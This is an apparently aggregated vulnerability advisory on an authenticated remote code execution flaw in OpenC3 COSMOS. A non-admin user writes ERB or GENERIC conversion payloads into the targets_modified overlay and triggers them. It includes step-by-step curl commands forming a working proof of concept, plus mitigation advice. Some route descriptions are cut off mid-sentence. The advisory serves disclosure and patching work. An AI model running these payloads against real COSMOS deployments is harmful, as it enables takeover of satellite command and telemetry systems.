Listen to this Post
to CVE-2025-XXXXX
COSMOS (OpenC3) is a satellite ground station and command/telemetry framework. This vulnerability allows an authenticated non-admin user to achieve arbitrary code execution on the server. The root cause is a path traversal / configuration overlay issue: the application reads configuration files from a user-writable overlay directory (targets_modified/) before reading from the read-only plugin-installed `targets/` tree.
The config subsystem then treats these files as code. Specifically, `ConfigParser` renders every file as ERB (Embedded Ruby) by default, meaning any `<%= ... %>` tags are executed. Separately, a `GENERIC_READ_CONVERSION` or `GENERIC_WRITE_CONVERSION` block within a definition file is evaluated as raw code by the `GenericConversion` class in both Ruby and Python implementations. A third vector involves the Script Runner suite analysis, which executes a user-supplied procedure file via require.
An attacker can write files into `targets_modified/` below the admin tier. The storage-upload endpoint exempts that area from its admin gate, and the screen-save endpoint stores its body verbatim there. In the open-source edition, the `authorize` function ignores the permission string entirely, so any authenticated user can write to the overlay.
Three vulnerable routes were identified, all reachable by a non-admin user:
1. Table definitions: The `tablesgenerate|report|load` actions read a definition from targets_modified/, ERB-render it, and evaluate its `GENERIC__CONVERSION` block in the `cmd-tlm-api` container.
2. Command/telemetry definitions: A file written to `targets_modified/
3. Script Runner suites: A procedure written to `targets_modified/
The triggering permissions (system, system_set, script_view) are below the tiers where COSMOS normally gates code execution (plugin install requires admin, running a script requires script_run). The result is arbitrary code execution as the `openc3` user in the `cmd-tlm-api` container, per-target decom microservices, and the script-runner, with access to Redis and bucket credentials.
DailyCVE Form:
Platform: OpenC3 COSMOS
Version: 5.x before patch
Vulnerability: Remote Code Execution
Severity: Critical
date: 2025-03-15
Prediction: Patch expected by 2025-04-15
What Undercode Say:
BASE=http://localhost:2900/openc3-api
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')
1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
--data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
--data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'
2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
--data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'
Check execution inside the cmd-tlm-api container: cat /tmp/erb_rce_poc Output: uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)
Alternative GENERIC conversion payload in a table definition: TABLE "data" BIG_ENDIAN KEY_VALUE "poc" APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item" GENERIC_WRITE_CONVERSION_START `id > /tmp/erb_rce_poc` 0 GENERIC_WRITE_CONVERSION_END
Exploit: (Educational Purposes!)
- Authenticate: Obtain a valid session token or bearer token. In the open-source edition, any authenticated user is sufficient.
- Write Malicious Configuration: Use the `/screen` endpoint (or the storage-upload presigned request) to write a file containing ERB tags (
<%= ... %>) or a GENERIC conversion block into the `targets_modified/` directory structure. - Trigger Execution: Invoke a table action (
/tables/generate) pointing to the uploaded file, restart a microservice to process the `cmd/tlm` overlay, or request a suite procedure via/scripts/body. - Achieve Code Execution: The server-side code (ERB rendering or `eval` in GenericConversion) executes the payload, running commands as the `openc3` user.
Protection: from this CVE
- Treat Overlay as Data: Load table and cmd/tlm definitions for code-execution paths from the read-only `targets/` tree only, or parse the `targets_modified/` overlay with ERB disabled (
run_erb=false). - Restrict Overlay Writes: Allow only admin and the server-side dynamic-packet mechanism to write a `cmd_tlm` overlay. Reject non-canonical object keys to prevent path check bypasses.
- Gate Suite Analysis: Run the Script Runner suite analysis (which executes the file) only at the `script_run` tier, at every entry point.
- Mirror Fixes in Python: Apply the same definition-read changes to the Python implementation.
Impact:
Arbitrary code execution as the `openc3` user in the `cmd-tlm-api` container, per-target decom microservices, and the script-runner. These processes hold Redis and bucket credentials and sit on the internal service network, giving the attacker authority over configuration, telemetry, and command data across scopes. A default single-host install is reachable only from the host (bound to 127.0.0.1:2900), but a multi-user deployment exposing the web port is remotely exploitable (AV:N). All paths require valid authentication, and the triggering permissions are below the admin/script_run/plugin-install tiers where COSMOS normally gates code execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
